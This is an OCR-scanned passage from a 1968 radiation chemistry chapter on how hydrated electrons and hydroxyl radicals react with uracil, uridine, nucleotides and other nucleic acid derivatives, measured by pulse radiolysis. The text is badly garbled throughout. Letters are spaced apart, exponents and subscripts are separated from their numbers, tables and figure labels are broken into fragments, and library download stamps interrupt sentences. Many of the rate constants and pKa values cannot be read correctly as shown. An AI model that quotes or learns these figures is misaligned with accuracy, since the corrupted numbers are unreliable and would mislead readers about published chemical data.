a n g e d after each p u l s e b y a r e m o t e l y - c o n t r o l l e d flow system. S e v e r a l matrices w e r e t r i e d f o r the d i r e c t - O H r e a c t i o n t e c h n i q u e , b u t o x y g e n a t e d , d e o x y g e n a t e d , a n d N 0 b u b b l e d solutions s h o w e d ab­ s o r b i n g species i n the 2 5 0 to 2 7 0 m/x r e g i o n , so n o clear-cut measurements of the 5 , 6 d o u b l e b o n d d i s a p p e a r a n c e c o u l d be m a d e . F o r t u n a t e l y , h o w ­ ever, n o i n t e r f e r i n g species w e r e present at 2 7 0 m/x i n solutions of H 0 and uracil ( e = 5.6 X 1 0 M c m . \" ) . A t a c o n c e n t r a t i o n of 0 . 5 X 1 0 \" M H 0 , e~ are r a p i d l y s c a v e n g e d a n d c o n v e r t e d to * O H , a n d w e l l d e f i n e d traces m a y be o b t a i n e d s h o w i n g increases i n l i g h t t r a n s m i s s i o n c a u s e d b y • O H attack of the 5 , 6 d o u b l e b o n d . 4\n\n3\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\n25\n\n- 1\n\n1\n\n2\n\n2\n\n3\n\n2 7 0\n\n3\n\n2\n\n2\n\nResults and\n\n_ 1\n\n2\n\n1\n\nm\n\nDiscussion The\n\nSolvated Electron Reaction Rates. PURINES A N D PYRIMIDINES. r e a c t i o n rates of e~\n\naq\n\nw i t h p u r i n e s a n d p y r i m i d i n e s at n e u t r a l p H are\n\ns h o w n i n T a b l e II. A l l are v e r y reactive, the r e a c t i o n rates b e i n g close to diffusion controlled.\n\nH o w e v e r , the p y r i m i d i n e cytosine, w h i c h has\n\nan\n\na m i n o g r o u p at the C - 4 p o s i t i o n , is s o m e w h a t less reactive t h a n t h y m i n e a n d u r a c i l w h i c h h a v e c a r b o n y l groups at this p o s i t i o n . A d e n i n e , w h i c h also has a n a m i n o g r o u p i n this p o s i t i o n , has a v e r y h i g h r e a c t i v i t y , b u t this is p r o b a b l y because of the presence of the p o s i t i v e l y c h a r g e d i m i d a ­ zole ring. A l s o i n T a b l e I I are l i s t e d the r e a c t i o n rates of e'\n\nm\n\nw i t h a series of\n\nc o m p o u n d s h a v i n g s i m i l a r substituents or s t r u c t u r a l groups to the p u r i n e s and pyrimidines. Benzene\n\n(ke~\n\n1.4 X\n\n=\n\nm\n\n10 M 7\n\n1\n\nsec.\" ) is v e r y u n r e ­ 1\n\nactive, b u t the i n t r o d u c t i o n of a h e t e r o c y c l i c n i t r o g e n i n t o the b e n z e n e r i n g increases the r e a c t i v i t y to 1 0 M 9\n\n_ 1\n\nsec. . 1\n\nI n t r o d u c t i o n of c a r b o n y l g r o u p s onto carbons\n\n2 and 4, brings\n\nthe\n\nr e a c t i v i t y of the resultant c o m p o u n d , u r a c i l , u p to t h a t of a d i f f u s i o n controlled reaction\n\n(1.5 X\n\nhas b e e n s h o w n (7)\n\nthat a d d i n g - O H groups to b e n z e n e does not increase\n\n10\n\n1 0\n\nM\n\n1\n\nsec.\" ). 1\n\nI n b e n z e n e d e r i v a t i v e s , it\n\nthe r e a c t i v i t y , b u t a d d i n g t w o c a r b o n y l groups to f o r m\n\nbenzoquinone\n\nincreases the r e a c t i v i t y a p p r e c i a b l y to 1.3 X\n\n1\n\n10 M 9\n\n_ 1\n\nsec. .\n\nWhen\n\nthe\n\n5 , 6 d o u b l e b o n d i n u r a c i l is saturated to f o r m d i h y d r o u r a c i l , a t h r e e - f o l d decrease i n r e a c t i v i t y occurs.\n\nT h i s suggests that the presence of the 5,6\n\nd o u b l e b o n d is at least p a r t l y necessary f o r the u r a c i l to s h o w h i g h r e a c t i v i t y . H o w e v e r , the h i g h r e a c t i v i t y of c y c l o h e x a n o n e\n\n(0.8 X\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n10 ) 1 0\n\n28.\n\nNucleic\n\nGREENSTOCK E T A L .\n\nAcid\n\n403\n\nDerivatives\n\nsuggests that other changes i n the d i h y d r o u r a c i l m o l e c u l e m a y be m o r e important.\n\nA l l these observations p o i n t to the c a r b o n y l groups of\n\np y r i m i d i n e m o l e c u l e as the most reactive I n p u r i n e s , s u c h as a d e n i n e\n\n(see\n\nthe\n\nsites.\n\nTable II),\n\na n i m i d a z o l e r i n g is\n\na t t a c h e d to a p y r i m i d i n e r i n g . I m i d a z o l e itself is reactive, b u t less reac­ t i v e t h a n the p u r i n e m o l e c u l e . p u r i n e s is caused b y e~\n\nm\n\nT h i s suggests that the h i g h r e a c t i v i t y of\n\nattack o n the i m i d a z o l e r i n g , or b y the i n d u c t i v e\n\neffect of the i m i d a z o l e g r o u p o n the p y r i m i d i n e r i n g .\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\nM o r e d e t a i l e d studies w i t h s u b s t i t u t e d p u r i n e s a n d p y r i m i d i n e s at different p H values c o n f i r m the above\n\nfindings.\n\nF i g u r e 2 shows the rate\n\nconstants as a f u n c t i o n of p H as w e l l as the i o n i z a b l e groups i n u r a c i l a n d u r i d i n e a n d their p K\n\na\n\nvalues.\n\nA s the p H is r a i s e d above each p K\n\na n d the molecules b e c o m e n e g a t i v e l y c h a r g e d , the e~\n\n0\n\nr e a c t i o n rates f a l l .\n\nm\n\nT h i s is to be expected because of the electrostatic r e p u l s i o n b e t w e e n the n e g a t i v e l y c h a r g e d m o l e c u l e a n d the n e g a t i v e l y c h a r g e d\n\ne~ . m\n\nF r o m the slope of the c u r v e at p H 12.5, i t c a n b e seen that the re­ a c t i v i t y is not so d r a s t i c a l l y c h a n g e d b y i o n i z a t i o n of the ribose sugar i n u r i d i n e as it is b y the i o n i z a t i o n of the p y r i m i d i n e r i n g . T h e D e b y e e q u a t i o n (13)\n\nfor a d i f f u s i o n c o n t r o l l e d r e a c t i o n p r e d i c t s\n\na p p r o x i m a t e l y a t w o f o l d decrease i n r e a c t i v i t y of e~ the m o l e c u l e b e i n g attacked.\n\nT h e values of r ! = r a d i i of e~ 2\n\nsec.\"\n\n1\n\nu p o n i o n i z a t i o n of\n\n3A. and r\n\n2\n\n=\n\n3 A . w e r e u s e d as the\n\na n d u r a c i l respectively, a n d the values of D\n\nm\n\ncm.\n\natl\n\n( I n the D e b y e e q u a t i o n :\n\n±\n\nand D\n\n2\n\n|[ H\n\n+\n\n405\n\nAcid Derivatives\n\nke~ (M a g\n\n_ I\n\nsec.' ) 1\n\nReference\n\n6\n\n8 X 10\n\n9\n\n7\n\n6 X 10\n\n9\n\n17\n\n7\n\n4.5 X 1 0\n\n9\n\nThis work\n\n6\n\n3 X 10\n\n10\n\n6 X 10\n\n3\n\n25\n\n6\n\n3.4 X 1 0\n\n9\n\nThis work\n\n7\n\n1.7 X 1 0\n\n1 0\n\nt o m e r i s m at n e u t r a l p H , the reactivities of e~\n\nm\n\nwith\n\n1 0\n\nThis work\n\n17\n\n1,3-dimethyluracil\n\nand 2,4-diethoxypyrimidine were measured. T h e results s h o w n i n T a b l e I I I i n d i c a t e that the exclusive e n o l f o r m of the 2 a n d 4 c a r b o n y l groups i n 2 , 4 - d i e t h o x y p y r i m i d i n e leads to a five­ f o l d decrease i n r e a c t i v i t y . A l t e r n a t i v e l y , 1 , 3 - d i m e t h y l u r a c i l , w h i c h is i n\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n406\n\nthe d i k e t o f o r m s i m i l a r to u r a c i l , has the same r e a c t i v i t y as\n\n1\n\nuncharged\n\nu r a c i l , the m e t h y l groups a p p a r e n t l y h a v i n g l i t t l e influence o n the re­ a c t i v i t y . I n 1 , 3 - d i m e t h y l u r a c i l a n d 2 , 4 - d i e t h o x y p y r i m i d i n e , the m e a s u r e d rate constants are the same at p H 7 a n d p H 11 because the p o t e n t i a l l y i o n i z a b l e groups h a v e b e e n b l o c k e d . F r o m these observations, it w o u l d be p r e d i c t e d that a p a r t i a l ketoe n o l t a u t o m e r i s m of the c a r b o n y l groups (last entry i n T a b l e I I I )\n\nsuch\n\nas is f o u n d i n the s i n g l y i o n i z e d u r a c i l m o l e c u l e , w o u l d l e a d to a t w o Downloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\na n d a h a l f - f o l d decrease i n r e a c t i v i t y . e~\n\naq\n\nH e n c e , the\n\nfivefold\n\ndecrease i n\n\nr e a c t i v i t y u p o n i o n i z a t i o n of the p y r i m i d i n e r i n g m a y b e\n\naccounted\n\nfor b y a t w o f o l d decrease because of the negative c h a r g e a n d a t w o a n d a h a l f - f o l d decrease because of the p a r t i a l t a u t o m e r i z a t i o n . URAC —.\n\nr\n\n,\n\n°\n\nill: 1\n\nV\n\n°N\n\nV\n\n1\n\ni\n\nP K, 10\"\n\n1\n\n,\n\no 0\n\n10\n\n, IL\n\ni 6\n\ni 8\n\n1\n\n10\n\n—* PK 1\n\n. 2\n\n1\n\n12\n\n14\n\nPH 1\n\n10\n\n1\n\n8\n\nURIDINE\n\n>\n\nP K, 10\"\n\ni\n\ni\n\ni\n\n8\n\n10\n\npK i 12\n\n2\n\nJ\n\n14\n\npH Figure 2. The effect of pH on the rate constants for the reactions of e~ with uracil and uridine. Also shown are the ionizable groups of uracil and uridine and their pK values. The unionizable OH groups on the ribose molecules are not shown ao\n\na\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nGREENSTOCK E T A L .\n\nTable III.\n\nNucleic\n\nAcid\n\n407\n\nDerivatives\n\nEffect of Keto-enol Tautomerism on e q Reactivity of U r a c i l\n\nMolecule\n\na\n\npH\n\nke~ (M\n\nStructure\n\nog\n\n1\n\nsec. *)\n\n0\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\nUracil\n\n1.5 X 1 0\n\n3 X 109\n\n11 O^N\n\nCH 1,3-Dimethyluracil\n\nW\n\n'\n\n3 \\ \"IT\n\n1.65 X 1 0\n\n1 0\n\n1.45 X 1 0\n\n1 0\n\ni CH,\n\n11\n\nN o change\n\n0C H 2\n\n2,4-Diethoxypyrimidine\n\nN\n\n7\n\nC^H 0^ 5\n\n11\n\n5\n\n2.8 X 10° N <\n\nN o change\n\n3.2 X 1 0\n\n9\n\nOH Hypothetical tautomer (2 keto, 4-enoluracil)\n\n(6 X 10 ) (predicted)\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n9\n\n408\n\n0\n\n0~\n\n0\n\nA>\n\nI\n\n0\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\nI\n\n0 = P-0\"\n\n0\"\n\n0\"\n\nOH\n\nOH\n\nV\n\n0\n\n1\n\n1\n\n0 • P-0~\n\nI\n\nN\n\n0~\n\n0\n\nI\n\n0 = P-OH\n\n0\n\nOH\n\nK ?\n\n2'\n\n0 = P-0~\n\npK,= 5.9\n\npK =9.4 (3 charges)\n\n/v v\n\nA . 0\n\n(2 charges)\n\n0\"\n\n0\"\n\nk\n\nu\n\nOH\n\n3 0\n\n0\"\n\nok X\n\nN\n\n1\n\n2' 3-CYCLIC U M P\n\nMONOPHOSPHATE(UMP)\n\n3-URIDINE\n\nCHEMISTRY\n\n0\n\npK =I2.5\n\n2\n\npK =9.4\n\npK = l2.5\n\n(2 charges)\n\n(3 charges)\n\n2\n\n3\n\n(4 charges)\n\nV /V 3\n\nFigure 3. Ionizable groups and pK values in 3'-UMP and 2',3'-cyclic UMP. Note that the second ionization which occurs in 3'-UMP at pH 5.9 is absent in 2',3'-cyclic UMP. The unionizable OH groups on the ribose molecule are not shown &\n\n1\n\nid\n\nMononucleotides\n\n1\n\n1\n\n_\n\n0\n\n:\n\n*^ = 8\n\n* k\\ 5 8\n\n3*\n\n\\\\\\ ^ V N ) 2',3-cyclic UMP | ;\n\nt , UMP i\n\n\\\n\n\\\n\n2'3-UMP(mixed)\n\nUMP \"\n\n, 5-UMP\n\n3\n\ni\n\ni 10\n\ni\n\ni 14\n\nPH Figure 4. The effect of pH on the rate constants of e~ with the mononucleotides of uracil. Note UMP does not show a change in reactivity around UMP (mixed) and 5'-UMP which become doubly above this pH aa\n\nfor the reactions that 2\\3'-cyclic pH6 as do 2',3'ionized (UMP ~) 2\n\nN U C L E O T I D E S . P h o s p h a t e groups m a y b e attached to the ribose g r o u p of u r i d i n e at t h e 2', 3', or 5 ' positions to give 2', 3', or 5 ' - u r i d y l i c a c i d (UMP).\n\nT h e i o n i z a b l e groups i n 3 ' - U M P are s h o w n i n F i g u r e 3. T h e s e\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nGREENSTOCK E T A L .\n\nNucleic\n\nAcid\n\n409\n\nDerivatives\n\ngroups are n e g a t i v e l y c h a r g e d at p H 5 c a u s i n g a 1.5 f o l d decrease i n the e~\n\nm\n\nr e a c t i v i t y c o m p a r e d w i t h u r a c i l or u r i d i n e ( F i g u r e 4 ) . T h e p h o s p h a t e\n\ng r o u p becomes d o u b l y i o n i z e d at a p K decrease i n the e~\n\nrate constant.\n\nm\n\n( t w o f o l d ) t h a n for 2', 3 ' - U M P p e c t e d i f the e~\n\nm\n\nof 5.9 w h i c h results i n a f u r t h e r\n\na\n\nT h i s decrease is larger f o r 5 ' - U M P\n\n(mixed)\n\n(one a n d a h a l f - f o l d ) as\n\nex­\n\nattacks p r i n c i p a l l y the p y r i m i d i n e r i n g , since a negative\n\np h o s p h a t e g r o u p o n the 5 ' p o s i t i o n is m u c h closer to the site of e~\n\nm\n\nattack\n\nt h a n w h e n it is o n the 2 ' or 3 ' p o s i t i o n , a n d s h o u l d h a v e a greater i n f l u ­\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\nence. T h e 2', 3'-eyclic U M P ( F i g u r e 3 ) does not h a v e a s e c o n d i o n i z a b l e g r o u p o n the p h o s p h a t e as this is t a k e n u p f o r m i n g the 2', 3 ' b o n d . A s expected, the decrease i n r e a c t i v i t y at p H 5.9 is absent f o r 2', 3'-eyehc UMP.\n\nT h e three m o n o n u c l e o t i d e s , l i k e u r a c i l a n d u r i d i n e , a l l s h o w a\n\nlarge decrease i n r e a c t i v i t y at the pK\n\na\n\nfor the i o n i z a t i o n of the c a r b o n y l\n\ngroup. F o r u r i d y l i c a c i d d i n u c l e o t i d e s ( U p U ) a n d short c h a i n p o l y n u c l e o ­ tides ( o l i g o U ) , a m a r k e d p r o t e c t i v e effect against e~\n\nattack is o b s e r v e d .\n\nm\n\nT h e r e a c t i v i t y per n u c l e o t i d e has b e e n m e a s u r e d as a f u n c t i o n of p H for U p U a n d for a n o l i g o U m o l e c u l e w h i c h contains a b o u t 20 nucleotides. T h e results are c o m p a r e d w i t h those f o r u r a c i l i n F i g u r e 5. I n the absence _\n\n,\n\nl\n\n1\n\n4\n\n1\n\n, 1 , 1 Polynucleotides\n\n,\n\ni\n\n.\n\n«\n\n6\n\ni\n\n.\n\n8\n\ni\n\n10\n\n,\n\n1\n\ni\n\n.\n\n12\n\n,\n\ni\n\n:\n\nI\n\n14\n\npH Figure 5. The effect of pH on the rate constants for the reactions of e~ with the dinucleotide (UpU) and oligonucleotide (oligo U, about 20 bases) of uracil. Note that these are plotted as the absolute rate constant per nucleotide. The reactivity of uracil (u) is shown for comparison aa\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n410\n\n1\n\nof a n y s h i e l d i n g effect, the rate constant per n u c l e o t i d e w i l l be u n c h a n g e d . H o w e v e r , i n these results, the r e a c t i v i t y p e r n u c l e o t i d e decreases as the n u m b e r of nucleotides i n the c h a i n increases. H y d r o x y l Radical Reaction Rates. of &.OH, the\n\nCOMPETITION METHOD.\n\nValues\n\n- O H r e a c t i o n rate w i t h u r a c i l , h a v e b e e n m e a s u r e d as a\n\nf u n c t i o n of p H b y u t i l i z i n g c o m p e t i t i o n w i t h C N S \" ( E q u a t i o n s 1 a n d 2 ) , and\n\nalso m o r e d i r e c t l y b y f o l l o w i n g the rate of d i s a p p e a r a n c e\n\nof\n\nthe\n\nc h r o m o p h o r e for the 5,6 d o u b l e b o n d . I n the c o m p e t i t i o n t e c h n i q u e , the v a l u e of fc.oii depends u p o n u s i n g the correct v a l u e of k ,\n\nthe • O H reac­\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\n2\n\nt i o n rate w i t h C N S . B e c a u s e this rate is still s o m e w h a t i n d o u b t n e w measurements\n\nspecies i n 1 0 \" M solutions of K C N S ( F i g u r e 6 ) . 4\n\nIf one assumes that the\n\nrate l i m i t i n g step i n the f o r m a t i o n of the a b s o r b i n g species is k\n\n2\n\nk\n\ns\n\n(9)\n\nw e r e m a d e of the rate of b u i l d u p of the a b s o r b i n g\n\n( R e a c t i o n s 5 a n d 6 ) , t h e n a v a l u e for k\n\n2\n\nand not\n\nof 7.5 db 0.5 X 1 0 M 9\n\nsec.\n\n_ 1\n\n1\n\nis o b t a i n e d w h i c h is i n d e p e n d e n t of p H w i t h i n o u r e x p e r i m e n t a l errors (±7%).\n\nT h i s v a l u e is s l i g h t l y h i g h e r t h a n the v a l u e of 6.6 X\n\nsec.\" r e p o r t e d b y A d a m s et al. 1\n\n(3,\n\n10 M 9\n\nSince there is e v i d e n c e\n\n4, 5).\n\n_ 1\n\nthat\n\nthe a b s o r b i n g species is not C N S - b u t instead a n i o n - r a d i c a l c o m p l e x ( C N S ) \" ( 9 ) , the f o r m a t i o n of this c o m p l e x b y R e a c t i o n 6 m a y a c t u a l l y 2\n\nb e the rate l i m i t i n g step i n this process.\n\nIf this w e r e true, the values of\n\n10 M\n\nCNS\"\n\n• I0 M\n\nH 0\n\n2\n\n2\n\n2\n\nA N2O saturated 10\n\npK£ll.9 •0H\"T\"0\"\n\n10\"\n\n12\n\n10\n\n14\n\nPH Figure 6. The rate constant for the reaction of OH with the thiocyanate ion (CNS~) as a function of pH, using 10~ M H 0 or N 0 as the e~ scavenger. Note the sharp drop in reactivity above the pK for dissociation of OH to O'. Observations made in a I0~*M KCNS solution at a wavelength of 500 m^ 2\n\n2\n\n2\n\nao\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n2\n\na\n\n28.\n\nGREENSTOCK E T A L .\n\nNucleic\n\nAcid\n\n411\n\nDerivatives\n\nk r e p o r t e d here w o u l d b e l o w , a n d a l l values f o r k. n 2\n\n0\n\nw o u l d have to b e\n\ncorrected accordingly. A s a check o n the v a l i d i t y of t h e c o m p e t i t i o n k i n e t i c m e t h o d u n d e r the c o n d i t i o n s of these experiments, the rate of - O H r e a c t i o n w i t h isop r o p y l a l c o h o l w a s d e t e r m i n e d u s i n g t h e a b o v e v a l u e of k\n\n2\n\nand compared\n\nw i t h t h e values r e p o r t e d b y other w o r k e r s . T a b l e I V shows the results\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\no b t a i n e d u s i n g the different m e t h o d s m e n t i o n e d . T h e v a l u e o b t a i n e d f o r\n\nTable I V .\n\nComparison of O H Reaction Rates with Isopropyl Alcohol by Different Methods\n\nk. y\n\nCompetitive\n\n0J\n\n1.25 X 10° 1.2 X 1 0\n\n9\n\n1.7 X 1 0 1.74 X 1 0\n\nSolute\n\nReference\n\n2 X 10~ M C N S \" i n 1 0 \" M H O o (aerated) 8-20 X 10~ M thymine ( p H 2 , aerated) 5 X 10\" M P N D A (pH9) 3-20 X 1 0 \" M K I 3\n\n2\n\n2\n\n5\n\n9\n\n5\n\n9\n\n5\n\n(fc.\n\n0H\n\nThis work = 7.5 X l O ^ M ' s e e r ) 23 1\n\n20 27\n\nFigure 7, Competition for OH between uracil and thiocyanate. The ratio of the optical density at 500 mim without solute (ODj, to that with solute (OD) has been plotted as a function of the ratio of solute (S) to CNS~ concentration. The lower curve is corrected for the theoretical decrease in absorbance arising from the failure of H 0 to completely scavenge e~ 2\n\n2\n\naq\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n1\n\n412\n\n1\n\n&.OH falls w i t h i n the s p r e a d of values r e p o r t e d i n the other experiments, b u t b o t h the C N S \" a n d t h y m i n e c o m p e t i t i o n m e t h o d s give values\n\n50%\n\nl o w e r t h a n o b t a i n e d b y u s i n g I\" or p - n i t r o s o d i m e t h y l a n i l i n e ( P N D A )\n\nas\n\nthe c o m p e t i t i v e solute. F i g u r e 7 shows the result of a t y p i c a l c o m p e t i t i o n p l o t f o r u r a c i l at p H 6.5.\n\nF r o m the slope of the u p p e r straight l i n e (k. n/k ), 0\n\nthe - O H r e a c t i o n rate w i t h u r a c i l of 6.4 ± 0.8 X 1 0 M 9\n\nu s i n g the m e a s u r e d v a l u e of k .\n\n1\n\nto u r a c i l ( l o w e r l i n e i n F i g u r e 7)\n\nm\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\nsec.\n\nis o b t a i n e d\n\nW h e n the slope is c o r r e c t e d for the\n\n2\n\nt h e o r e t i c a l loss of e~\n\na v a l u e for\n\n2\n\n_ 1\n\nas d e s c r i b e d\n\nearlier, a l o w e r v a l u e ( & . H c o r r . ) f o r the • O H r e a c t i o n rate w i t h u r a c i l 0\n\nof 5.0 ± 0.6 X 1 0 M 9\n\nsec.\" is o b t a i n e d . T h i s c o r r e c t e d v a l u e f o r the - O H\n\n_ 1\n\n1\n\nr e a c t i o n rate w i t h u r a c i l at n e u t r a l p H has b e e n v e r i f i e d u s i n g a h i g h e r c o n c e n t r a t i o n of H 0 2\n\n(5 X\n\n2\n\n10\" M).\n\nI n this s o l u t i o n the c o r r e c t i o n is\n\n2\n\nless t h a n 5 % a n d gives a v a l u e of 5.7 ± 1\n\ni6°\n\nI\n\n0.6 X 1 0 M 9\n\n_ 1\n\nsec.\" . 1\n\nI\n\ni\n\n/\n\ni *\n\n\\\n\n'\\\n\n• %\n\n!\n\nA\n\nI\n\n\\\n\n\\\n\n\\\n\n!\n\nV\n\npKohl.9 •0H-|-0\" 10 —\n\n~i\n\ni\n\ni\n\n6\n\n8\n\n10\n\n14\n\nPH Figure 8, The effect of pH on the rate constant for the reactions of OH with uracil obtained using the CNS~ competition technique T h e r e appears to b e a g r a d u a l increase i n • O H r e a c t i v i t y w i t h u r a c i l as the p H is v a r i e d f r o m 5 to 10.5 ( F i g u r e 8 ) .\n\nT h e r e is no a b r u p t c h a n g e\n\ni n r e a c t i v i t y at the p K i n d i c a t i n g that the changes i n charge a n d tauto­ 0\n\nm e r i c f o r m w h i c h o c c u r at the pK\n\na\n\nh a v e no effect o n the - O H r e a c t i o n .\n\nT h e l o w e r values f o r the - O H r e a c t i v i t y o b t a i n e d at p H 2 a n d 13.5 both considerably i n doubt.\n\nare\n\nT h e v a l u e at p H 2 is d o u b t f u l because of\n\nthe p o s s i b i l i t y that H - m a y b e e n t e r i n g i n t o the r e a c t i o n i n some w a y , a n d the p H 13.5 v a l u e because this is above the p K f o r the d i s s o c i a t i o n a\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nof\n\nNucleic\n\nGREENSTOCK E T A L .\n\nAcid\n\n413\n\nDerivatives\n\n- O H to O \" . T h e n o n - e q u i l i b r i u m c o n d i t i o n s existing f o l l o w i n g\n\nthe\n\ne l e c t r o n p u l s e m a k e it u n c e r t a i n w h e t h e r the • O H or 0 ~ r a d i c a l is react­ ing.\n\nThe\n\n- O H r e a c t i v i t y w i t h d i h y d r o u r a e i l , i n w h i c h the 5,6 b o n d is\n\nsaturated, is less t h a n one-fifth of that of u r a c i l\n\n1 X\n\n10 M 9\n\n- 1\n\nsec. ). - 1\n\nT h i s is e v i d e n c e that - O H attacks the 5,6 d o u b l e b o n d as suggested\n\nby\n\nthe r a d i o l y s i s p r o d u c t analysis studies i n w h i c h the t o t a l loss i n p y r i m i d i n e\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\nis the same as the y i e l d c a l c u l a t e d f r o m the loss of 5,6 d o u b l e b o n d\n\n(24).\n\nFigure 9. The disappearance of the 5,6 double bond absorption in an aerated 0.25 X 10~ M uracil solution containing 0.5 X 10~ M H 0 as an e~ scavenger. The wavelength of observation was 270 mjn and dose about 3 Krads. The two upper traces correspond to the signal levels with analyzing light off (upper) and on (central trace) at a gain of 0.05 volts/cm. The lower traces were obtained at a gain of 0.005 volts/cm., the increase in light transmission corresponding to loss of 5,6 double bond absorption for approximately 12% of the uracil. The sweep rate was 5fx sec./cm. graticule division 4\n\n3\n\n2\n\n2\n\nDIRECT OBSERVATION OF\n\n* O H REACTION\n\nRATES.\n\nThe\n\nreactivity\n\nof\n\nthe 5,6 d o u b l e b o n d of p y r i m i d i n e s w i t h • O H r a d i c a l s suggested that the disappearance measurement\n\nof this c h r o m o p h o r e m i g h t b e u s e d f o r a m o r e of the absolute rate constant\n\nfor t h e i r reactivities.\n\ndirect The\n\nincrease i n t r a n s m i s s i o n at 2 7 0 m/x because of the • O H attack o n u r a c i l is s h o w n i n F i g u r e 9. T h e • O H r e a c t i o n rates w i t h u r a c i l o b t a i n e d u s i n g this t e c h n i q u e are c o m p a r e d w i t h values o b t a i n e d u s i n g c o m p e t i t i o n m e t h o d s a n d different values of k\n\n2\n\n(see\n\nTable V ) .\n\nT h e rate constants m e a s u r e d\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n414\n\nTable V .\n\nComparison of Rate Constants Measured k ( M \" seer )\n\nMethod 1.\n\n1\n\n2\n\nJ\n\n[C.S.] (M)\n\n1\n\nLoss of 5,6 double bond\n\nDose rate reduced 50% 2.\n\nCNS\" Competition\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\n3. 4.\n\n(corrected)\n\n7.5 ± 0.5 X 10\n\n9\n\n2 X 10\"\n\n7.5 ± 0.5 X 10\n\n9\n\n2 X lO\" 3\n\n2 X 10 (9)\n\nCNS\" (corrected)\n\n2 X 10-s\n\n10\n\n6.6 X 10\n\n5. CNS\" 6.\n\n3\n\n10\"\n\n4\n\n9\n\n5 X 10\"*\n\nP N D A competition\n\nusing three different uracil concentrations\n\nagree within\n\nexperimental\n\nerror, the value of 7.4 ± 1.0 X 10 being quite close to the uncorrected 9\n\nvalue obtained by C N S \" competition. A reduction in the dose by a factor of two did not change the decay rate, indicating that radical-radical reactions were not entering into the reaction scheme.\n\nSince the direct\n\nmeasurement of 5,6 double bond disappearance does not suffer from the uncertainties of the C N S \" measurement, it should yield a reliable value. It should be noted, however, that if the value of k reported by Baxendale 2\n\net al. (9) is used in these calculations (Table V , No. 4), a much higher value of 1.3 X 10 is obtained for k. u corr. Using a competition reaction 10\n\n0\n\nwith P N D A , Kraljic and Trumbore (20) have also calculated a value of 5.4 X 1 0 M 9\n\n_ 1\n\ns e c . for fc. H, at p H 9 which is in reasonable 1\n\n0\n\nwith the values reported in this paper.\n\nagreement\n\nFrom the results in Table V it\n\nappears that the C N S \" competition technique of Adams et al. (3, 4, 5) gives a slightly lower value for the - O H reaction rate with uracil but a much larger rate constant for the reaction, C N S \" -\\- • O H —> C N S • + • O H \" (9) would not be in keeping with the direct observations. A true value for k of 1.0 X 1 0 M 2\n\n1 0\n\n1\n\nsec.\" is suggested by these measurements: 1\n\nR A T E S WITH O T H E R N U C L E I C ACID DERIVATIVES.\n\nT h e - O H reaction\n\nrates with uridine, U M P , and adenine are compared in Table V I with those for uracil obtained using the same C N S \" competition method. U r i ­ dine and 2',3'-UMP (mixed) at neutral p H show lower corrected - O H reaction rates of 2.9 X 1 0 M 9\n\n_ 1\n\nsec. and 3.5 X 1 0 M 1\n\n9\n\n_ 1\n\nsec.\" respectively, 1\n\nindicating that the ribose sugar and phosphate groups are not highly reactive sites for - O H attack. Adenine, the complementary purine base to uracil in R N A has a much lower - O H reactivity than uracil of 1.9 X\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nGREENSTOCK E T A L .\n\nfor the Reaction of [fi] (M) 0.25 0.5 1.0 0.25\n\nX X X X\n\nNucleic\n\nk. 7.9 6.9 8.6 6.2 7.4\n\n4\n\n7.0\n\n4\n\n4 4\n\nM e a n value\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\n^ 4 X 10~\n\n0 H\n\n(/LQH) Reference\n\n( M - ' sec. *)\n\n± ± ± ± ±\n\n1.1 0.9 1.2 0.6 1.0\n\nX X X X X\n\n415\n\nDerivatives\n\nO H Radicals 